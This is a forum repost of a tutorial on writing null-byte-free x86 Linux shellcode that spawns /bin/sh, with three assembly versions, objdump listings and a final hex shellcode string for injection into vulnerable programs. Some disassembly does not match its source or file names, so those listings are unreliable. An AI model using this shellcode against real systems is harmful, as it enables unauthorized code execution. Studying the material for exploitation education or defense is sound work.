Jump to content
Nytro

Shellcoding with Direct Stack Usage

Recommended Posts

Shellcoding with Direct Stack Usage - h0yt3r

###SHELLCODING WITH DIRECT STACK USAGE###

~by h0yt3r

Hai

This is an example of how to produce nullbyteless shellcode out of a simple assembler code with two methods of stackusage.

I will start with an example which shows how to execute a bourne shell in assembler (nasm):

------------bla.asm

section .data
binsh db '/bin/sh',0 ;save '/bin/sh' string at data section

section .text
global _start

_start:
mov eax,11 ;syscall execve
mov ebx,binsh ;move the '/bin/sh' string adress into ebx
push 0 ;as the next argument (*const argv[]) is an array
push binsh ;we will need to save it on the stack and null-terminate it
mov ecx,esp ;then put the first adress of the stack into ecx
mov edx,0 ;no *const envp[]
int 0x80 ;kernel call
;eof

------------

Okay we will assemble and link this code:

h0yt3r@Cain:~/Desktop$ nasm -f elf bla.asm
h0yt3r@Cain:~/Desktop$ ld -o bla bla.o
h0yt3r@Cain:~/Desktop$ ./bla
sh-3.2$ exit
exit

Works fine. Lets have a look at the objdump.

h0yt3r@Cain:~/Desktop$ objdump -D bla

bla: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: b8 0b 00 00 00 mov $0xb,%eax
8048085: bb a0 90 04 08 mov $0x80490a0,%ebx
804808a: 68 00 00 00 00 push $0x0
804808f: 68 a0 90 04 08 push $0x80490a0
8048094: 89 e1 mov %esp,%ecx
8048096: ba 00 00 00 00 mov $0x0,%edx
804809b: cd 80 int $0x80

Disassembly of section .data:

080490a0 <binsh>:
80490a0: 2f das
80490a1: 62 69 6e bound %ebp,0x6e(%ecx)
80490a4: 2f das
80490a5: 73 68 jae 804910f <__bss_start+0x67>

...

Disassembly of section .comment:

00000000 <.comment>:
0: 00 54 68 65 add %dl,0x65(%eax,%ebp,2)
4: 20 4e 65 and %cl,0x65(%esi)
7: 74 77 je 80 <_start-0x8048000>
9: 69 64 65 20 41 73 73 imul $0x65737341,0x20(%ebp,%eiz,2),%esp
10: 65
11: 6d insl (%dx),%es:(%edi)
12: 62 6c 65 72 bound %ebp,0x72(%ebp,%eiz,2)
16: 20 32 and %dh,(%edx)
18: 2e 30 35 2e 30 31 00 xor %dh,%cs:0x31302e

h0yt3r@Cain:~/Desktop$

As we can see, this code needs more than one section for execution. Its is also full of 0-bytes which is kinda evil for later shellcode

since 0-bytes are treated as string terminator when it is passed as a parameter for example.

A _useful_ asm code _without_ different sections and _without_ 0-bytes for later shellcode using the call technique:

------------bla2.asm

section .text
global _start

_start:
jmp short two ;we short jump to two for saving '/bin/sh' on the stack (look at two now)
one:
pop ebx ;as the return adress is saved on top of the stack and points to '/bin/sh',
;it is just popped from the stack and saved into ebx (char *path)
;ok the adress of '/bin/shX' is saved in ebx now. the X will represet the null terminating byte
xor eax,eax ;0-out eax
mov byte [ebx + 7],al ;this instruction replaces the X with the value of al
;(count seven bytes up the data to which ebx is pointing to and put a null there) => nullterminate /bin/sh
;this will also only work if the shellcode is saved on the stack (eg when its injected into a
;vulnerable programme since we only have write access there)
push eax ;=> push 0 for null termination of '/bin/sh'
push eax ;restore ebx at the stack so that the stackpointer points to nullterminated '/bin/sh'
mov ecx,esp ;stackpointer into ecx (*const argv[])
mov edx,esp ;same to edx (*const envp[])
;we could also say 'mov edx,0' but this would just produce another 0-byte
mov al,11 ;syscall execve
int 0x80 ;make the kernelcall

two:
call one ;on execution we directly jump here and make a call _upwards_ again.
;_upwards_ is important. a call allows much longer jump distances, so if we make a call downwards
;with a value of 10 for example, the rest of the value would be filled with 0-bytes.
;so when we call upwards, we are passing a negative number as value
;(leading to 0xff...) which will not any contain 0-bytes.
db '/bin/shX' ;when making a call, the adress of the next instruction is pushed onto the stack and will be
;treated as return adress. This tells the processor where execution flow has to be continued when function
;'one' is finished. in this case, the return adress will just point to the '/bin/sh' string.
;eof

------------

Lets look at the objdump again :D

h0yt3r@Cain:~/Desktop$ nasm -f elf bla2.asm
h0yt3r@Cain:~/Desktop$ ld -o bla2 bla2.o
h0yt3r@Cain:~/Desktop$ objdump -d bla2

h0yt3r@Cain:~/Desktop$ objdump -d foo

foo: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: eb 10 jmp 8048072 <two>

08048062 <one>:
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 07 mov %al,0x7(%ebx)
8048068: 50 push %eax
8048069: 50 push %eax
804806a: 89 e1 mov %esp,%ecx
804806c: 89 e2 mov %esp,%edx
804806e: b0 0b mov $0xb,%al
8048070: cd 80 int $0x80

08048072 <two>:
8048072: e8 eb ff ff ff call 8048062 <one>
8048077: 2f das
8048078: 62 69 6e bound %ebp,0x6e(%ecx)
804807b: 2f das
804807c: 73 68 jae 80480e6 <two+0x74>
804807e: 58 pop %eax

h0yt3r@Cain:~/Desktop$

We can see that our code doesn't produce any 0-bytes anymore, so now we could perfectly use it as shellcode.

Okay, now an imo more elegant way of code with direct stackusage without calls and jumps:

------------bla3.asm

section .text
global _start

_start:
xor eax,eax ;0-out eax
push eax ;put 0 onto stack for null-terminating

push 0x68732F2F ;put '/bin/sh' onto stack
push 0x6E69622F ;actually it is 'hs//nib/' since the string has to be pushed in reversed order.
;we are also using two '/' cos our data needs to stay directly at the 8 byte bound, for not producing 0-bytes
mov ebx,esp ;stackpointer (/bin/sh) to ebx (char *path)
push eax ; => push 0
push eax ;put ebx onto stack
mov ecx,esp ;since ecx needs null-terminated *const argv[] which is same as ebx
mov edx,esp ;*const envp[] whatever
mov al,11 ;syscall execve
int 0x80 ;fire
;eof

------------

Assembling, linking:

h0yt3r@Cain:~/Desktop$ nasm -f elf bla3.asm
h0yt3r@Cain:~/Desktop$ ld -o bla2 bla3.o
h0yt3r@Cain:~/Desktop$ ./bla3
sh-3.2$ exit
exit
h0yt3r@Cain:~/Desktop$ objdump -d bla3

bla3: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: b0 0b mov $0xb,%al
8048065: 68 2f 2f 73 68 push $0x68732f2f
804806a: 68 2f 62 69 6e push $0x6e69622f
804806f: 89 e3 mov %esp,%ebx
8048071: 52 push %edx
8048072: 53 push %ebx
8048073: 89 e1 mov %esp,%ecx
8048075: 89 e2 mov %esp,%edx
8048077: cd 80 int $0x80

h0yt3r@Cain:~/Desktop$

This looks even better, doesn't it? Now use it!

I'll take katharsis' extractor; it's nothing special but kinda useful ;)

h0yt3r@Cain:~/Desktop$ perl shellgen.pl bla3

[*] shellcode generator
[*] written by katharsis
[*] www.katharsis.x2.to
[*] nebelfrost23@web.de

[^] generating opcode...
[^] generating shellcode...
[^] formating shellcode
[^] done, here you are:

\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x89\xe2\xcd\x80
h0yt3r@Cain:~/Desktop$

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...